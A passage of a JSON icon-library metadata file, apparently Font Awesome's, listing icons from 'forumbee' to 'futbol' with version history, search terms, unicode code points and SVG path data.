2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z"
      }
    },
    "free": ["brands"]
  },
  "forumbee": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f211",
    "label": "Forumbee",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z"
      }
    },
    "free": ["brands"]
  },
  "forward": {
    "aliases": {
      "unicodes": {
        "composite": ["23e9"],
        "secondary": ["10f04e"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "double",
        "fast",
        "fast-forward button",
        "forward",
        "next",
        "skip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f04e",
    "label": "Forward",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M52.5 440.6c-9.5 7.9-22.8 9.7-34.1 4.4S0 428.4 0 416V96C0 83.6 7.2 72.3 18.4 67s24.5-3.6 34.1 4.4L224 214.3V256v41.7L52.5 440.6zM256 352V256 128 96c0-12.4 7.2-23.7 18.4-29s24.5-3.6 34.1 4.4l192 160c7.3 6.1 11.5 15.1 11.5 24.6s-4.2 18.5-11.5 24.6l-192 160c-9.5 7.9-22.8 9.7-34.1 4.4s-18.4-16.6-18.4-29V352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M52.5 440.6c-9.5 7.9-22.8 9.7-34.1 4.4S0 428.4 0 416V96C0 83.6 7.2 72.3 18.4 67s24.5-3.6 34.1 4.4L224 214.3V256v41.7L52.5 440.6zM256 352V256 128 96c0-12.4 7.2-23.7 18.4-29s24.5-3.6 34.1 4.4l192 160c7.3 6.1 11.5 15.1 11.5 24.6s-4.2 18.5-11.5 24.6l-192 160c-9.5 7.9-22.8 9.7-34.1 4.4s-18.4-16.6-18.4-29V352z"
      }
    },
    "free": ["solid"]
  },
  "forward-fast": {
    "aliases": {
      "names": ["fast-forward"],
      "unicodes": {
        "composite": ["23ed"],
        "secondary": ["10f050"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "end",
        "last",
        "next",
        "next scene",
        "next track",
        "next track button",
        "triangle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f050",
    "label": "Forward Fast",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M18.4 445c11.2 5.3 24.5 3.6 34.1-4.4L224 297.7V416c0 12.4 7.2 23.7 18.4 29s24.5 3.6 34.1-4.4L448 297.7V416c0 17.7 14.3 32 32 32s32-14.3 32-32V96c0-17.7-14.3-32-32-32s-32 14.3-32 32V214.3L276.5 71.4c-9.5-7.9-22.8-9.7-34.1-4.4S224 83.6 224 96V214.3L52.5 71.4c-9.5-7.9-22.8-9.7-34.1-4.4S0 83.6 0 96V416c0 12.4 7.2 23.7 18.4 29z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M18.4 445c11.2 5.3 24.5 3.6 34.1-4.4L224 297.7V416c0 12.4 7.2 23.7 18.4 29s24.5 3.6 34.1-4.4L448 297.7V416c0 17.7 14.3 32 32 32s32-14.3 32-32V96c0-17.7-14.3-32-32-32s-32 14.3-32 32V214.3L276.5 71.4c-9.5-7.9-22.8-9.7-34.1-4.4S224 83.6 224 96V214.3L52.5 71.4c-9.5-7.9-22.8-9.7-34.1-4.4S0 83.6 0 96V416c0 12.4 7.2 23.7 18.4 29z"
      }
    },
    "free": ["solid"]
  },
  "forward-step": {
    "aliases": {
      "names": ["step-forward"],
      "unicodes": {
        "secondary": ["10f051"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["end", "last", "next"]
    },
    "styles": ["solid"],
    "unicode": "f051",
    "label": "Forward Step",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M52.5 440.6c-9.5 7.9-22.8 9.7-34.1 4.4S0 428.4 0 416V96C0 83.6 7.2 72.3 18.4 67s24.5-3.6 34.1 4.4l192 160L256 241V96c0-17.7 14.3-32 32-32s32 14.3 32 32V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V271l-11.5 9.6-192 160z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M52.5 440.6c-9.5 7.9-22.8 9.7-34.1 4.4S0 428.4 0 416V96C0 83.6 7.2 72.3 18.4 67s24.5-3.6 34.1 4.4l192 160L256 241V96c0-17.7 14.3-32 32-32s32 14.3 32 32V416c0 17.7-14.3 32-32 32s-32-14.3-32-32V271l-11.5 9.6-192 160z"
      }
    },
    "free": ["solid"]
  },
  "foursquare": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f180",
    "label": "Foursquare",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 368 512\"><path d=\"M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z\"/></svg>",
        "viewBox": [0, 0, 368, 512],
        "width": 368,
        "height": 512,
        "path": "M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z"
      }
    },
    "free": ["brands"]
  },
  "franc-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["French Franc Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e18f",
    "label": "Franc Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M80 32C62.3 32 48 46.3 48 64V224v96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v64c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V256H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M80 32C62.3 32 48 46.3 48 64V224v96H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v64c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V256H256c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V96H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z"
      }
    },
    "free": ["solid"]
  },
  "free-code-camp": {
    "changes": ["4.7.0", "5.0.0", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2c5",
    "label": "freeCodeCamp",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z"
      }
    },
    "free": ["brands"]
  },
  "freebsd": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a4",
    "label": "FreeBSD",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z"
      }
    },
    "free": ["brands"]
  },
  "frog": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f52e"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "amphibian",
        "bullfrog",
        "fauna",
        "hop",
        "kermit",
        "kiss",
        "prince",
        "ribbit",
        "toad",
        "wart"
      ]
    },
    "styles": ["solid"],
    "unicode": "f52e",
    "label": "Frog",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M368 32c41.7 0 75.9 31.8 79.7 72.5l85.6 26.3c25.4 7.8 42.8 31.3 42.8 57.9c0 21.8-11.7 41.9-30.7 52.7L400.8 323.5 493.3 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H480c-8.5 0-16.6-3.4-22.6-9.4L346.9 360.2c11.7-36 3.2-77.1-25.4-105.7c-40.6-40.6-106.3-40.6-146.9-.1L101 324.4c-6.4 6.1-6.7 16.2-.6 22.6s16.2 6.6 22.6 .6l73.8-70.2 .1-.1 .1-.1c3.5-3.5 7.3-6.6 11.3-9.2c27.9-18.5 65.9-15.4 90.5 9.2c24.7 24.7 27.7 62.9 9 90.9c-2.6 3.8-5.6 7.5-9 10.9L261.8 416H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-35.3 0-64-28.7-64-64C0 249.6 127 112.9 289.3 97.5C296.2 60.2 328.8 32 368 32zm0 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M368 32c41.7 0 75.9 31.8 79.7 72.5l85.6 26.3c25.4 7.8 42.8 31.3 42.8 57.9c0 21.8-11.7 41.9-30.7 52.7L400.8 323.5 493.3 416H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H480c-8.5 0-16.6-3.4-22.6-9.4L346.9 360.2c11.7-36 3.2-77.1-25.4-105.7c-40.6-40.6-106.3-40.6-146.9-.1L101 324.4c-6.4 6.1-6.7 16.2-.6 22.6s16.2 6.6 22.6 .6l73.8-70.2 .1-.1 .1-.1c3.5-3.5 7.3-6.6 11.3-9.2c27.9-18.5 65.9-15.4 90.5 9.2c24.7 24.7 27.7 62.9 9 90.9c-2.6 3.8-5.6 7.5-9 10.9L261.8 416H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-35.3 0-64-28.7-64-64C0 249.6 127 112.9 289.3 97.5C296.2 60.2 328.8 32 368 32zm0 104a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "fulcrum": {
    "changes": ["5.0.12", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f50b",
    "label": "Fulcrum",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z"
      }
    },
    "free": ["brands"]
  },
  "futbol": {
    "aliases": {
      "names": ["futbol-ball", "soccer-ball"],
      "unicodes": {
        "composite": ["26bd"],
        "secondary": ["10f1e3"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.0.5",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["ball", "football", "mls", "soccer", "soccer ball"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1e3",
    "label": "Futbol",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M417.3 360.1l-71.6-4.8c-5.2-.3-10.3 1.1-14.5 4.2s-7.2 7.4-8.4 12.5l-17.6 69.6C289.5 445.8 273 448 256 448s-33.5-2.2-49.2-6.4L189.2 372c-1.3-5-4.3-9.4-8.4-12.5s-9.3-4.5-14.5-4.2l-71.6 4.8c-17.6-27.2-28.5-59.2-30.4-93.6L125 228.3c4.4-2.8 7.6-7 9.2-11.9s1.4-10.2-.5-15l-26.7-66.6C128 109.2 155.3 89 186.7 76.9l55.2 46c4 3.3 9 5.1 14.1 5.1s10.2-1.8 14.1-5.1l55.2-46c31.3 12.1 58.7 32.3 79.6 57.9l-26.7 66.6c-1.9 4.8-2.1 10.1-.5 15s4.9 9.1 9.2 11.9l60.7 38.2c-1.9 34.4-12.8 66.4-30.4 93.6zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm14.1-325.7c-8.4-6.1-19.8-6.1-28.2 0L194 221c-8.4 6.1-11.9 16.9-8.7 26.8l18.3 56.3c3.2 9.9 12.4 16.6 22.8 16.6h59.2c10.4 0 19.6-6.7 22.8-16.6l18.3-56.3c3.2-9.9-.3-20.7-8.7-26.8l-47.9-34.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M417.3 360.1l-71.6-4.8c-5.2-.3-10.3 1.1-14.5 4.2s-7.2 7.4-8.4 12.5l-17.6 69.6C289.5 445.8 273 448 256 448s-33.5-2.2-49.2-6.4L189.2 372c-1.3-5-4.3-9.4-8.4-12.5s-9.3-4.5-14.5-4.2l-71.6 4.8c-17.6-27.2-28.5-59.2-30.4-93.6L125 228.3c4.4-2.8 7.6-7 9.2-11.9s1.4-10.2-.5-15l-26.7-66.6C128 109.2 155.3 89 186.7 76.9l55.2 46c4 3.3 9 5.1 14.1 5.1s10.2-1.8 14.1-5.1l55.2-46c31.3 12.1 58.7 32.3 79.6 57.9l-26.7 66.6c-1.9 4.8-2.1 10.1-.5 15s4.9 9.1 9.2 11.9l60.7 38.2c-1.9 34.4-12.8 66.4-30.4 93.6zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm14.1-325.7c-8.4-6.1-19.8-6.1-28.2 0L194 221c-8.4 6.1-11.9 16.9-8.7 26.8l18.3 56.3c3.2 9.9 12.4 16.6 22.8 16.6h59.2c10.4 0 19.6-6.7 22.8-16.6l18.3-56.3c3.2-9.9-.3-20.7-8.7-26.8l-47.9-34.8z"
      },
      "regular": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M435.4 361.3l-89.7-6c-5.2-.3-10.3 1.1-14.5 4.2s-7.2 7.4-8.4 12.5l-22 87.2c-14.4 3.2-29.4 4.8-44.8 4.8s-30.3-1.7-44.8-4.8l-22-87.2c-1.3-5-4.3-9.4-8.4-12.5s-9.3-4.5-14.5-4.2l-89.7 6C61.7 335.9 51.9 307 49 276.2L125 228.3c4.4-2.8 7.6-7 9.2-11.9s1.4-10.2-.5-15L100.4 118c19.9-22.4 44.6-40.5 72.4-52.7l69.1 57.6c4 3.3 9 5.1 14.1 5.1s10.2-1.8 14.1-5.1l69.1-57.6c27.8 12.2 52.5 30.3 72.4 52.7l-33.4 83.4c-1.9 4.8-2.1 10.1-.5 15s4.9 9.1 9.2 11.9L463 276.2c-3 30.8-12.7 59.7-27.6 85.1zM256 48l.9 0h-1.8l.9 0zM56.7 196.2c.9-3 1.9-6.1 2.9-9.1l-2.9 9.1zM132 423l3.8 2.7c-1.3-.9-2.5-1.8-3.8-2.7zm248.1-.1c-1.3 1-2.7 2-4 2.9l4-2.9zm75.2-226.6l-3-9.2c1.1 3 2.1 6.1 3 9.2zM256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zm14.1-325.7c-8.4-6.1-19.8-6.1-28.2 0L194 221c-8.4 6.1-11.9 16.9-8.7 26.8l18.3 56.3c3.2 9.9 12.4 16.6 22.8 16.6h59.2c10.4 0 19.6-6.7 22.8-16.6l18.3-56.3c3.2-9.9-.3-20.7-8.7-26.8l-47.9-34.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
